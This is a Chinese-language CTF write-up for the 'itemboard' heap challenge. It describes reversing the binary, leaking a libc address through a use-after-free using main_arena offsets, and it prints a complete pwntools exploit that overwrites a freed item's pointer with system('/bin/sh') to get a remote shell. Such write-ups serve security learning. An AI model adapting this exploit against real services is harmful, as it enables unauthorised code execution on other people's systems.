Introduction
一道比较简单的堆溢出的题目,主要是配合测试下小工具LibcOffset,一个用来计算各个版本的libc文件main_arena offset的Python脚本。
程序运行截图:看起来是一道典型的堆溢出题目
checksec:64位程序,有DEP和ASLR保护机制
Analysis
将程序通过IDA Pro逆向查看伪代码,首先是main函数:
new_item函数创建新的item:
list_item列出所有的item:
show_item展示具体的item:
remove_item函数删除item:
通过初步的分析发现代码中存在两处问题:
结合题目给出了libc.so文件,大体上的思路是利用UAF泄露基地址和libc地址,进而获取system函数的地址。再利用UAF或者ROP Chain执行system函数getshell。
利用自己编写的小工具LibcOffset查询本地以及题目给的libc文件的main_arena_offset。
本地调试环境:
题目给的是glibc 2.19版本的:
Solution
这里只记录通过UAF get shell的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import *
local = 0
if local: sh = process('./itemboard') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') offset = 0x3c4b20 else: sh = remote('pwn2.jarvisoj.com', '9887') libc = ELF('./libc-2.19.so') offset = 0x3c2760
elf = ELF('./itemboard')
def Add(name, len, conts): sh.recvuntil('choose:\n') sh.sendline('1') sh.recvuntil('Item name?\n') sh.sendline(name) sh.recvuntil("Description's len?\n") sh.sendline(str(len)) sh.recvuntil('Description?\n') sh.sendline(conts)
def List(): sh.recvuntil('choose:\n') sh.sendline('2')
def Show(num): sh.recvuntil('choose:\n') sh.sendline('3') sh.recvuntil('Which item?\n') sh.sendline(str(num))
def Remove(num): sh.recvuntil('choose:\n') sh.sendline('4') sh.recvuntil('Which item?\n') sh.sendline(str(num))
Add('1', 0x80, 'a' * 8) Add('2', 0x80, 'b' * 8) Remove(0) Show(0)
sh.recvuntil('Description:') leak_addr = u64(sh.recv(6).ljust(8, '\x00'))
libc_addr = leak_addr - 88 - offset sys_addr = libc_addr + libc.symbols['system']
Add('cccc', 32, 'cccc') Add('dddd', 32, 'dddd') Remove(2) Remove(3)
Add('eeee', 24, '/bin/sh;' + 'eeeeeeee' + p64(sys_addr)) Remove(2)
sh.interactive() sh.close()
|
运行结果: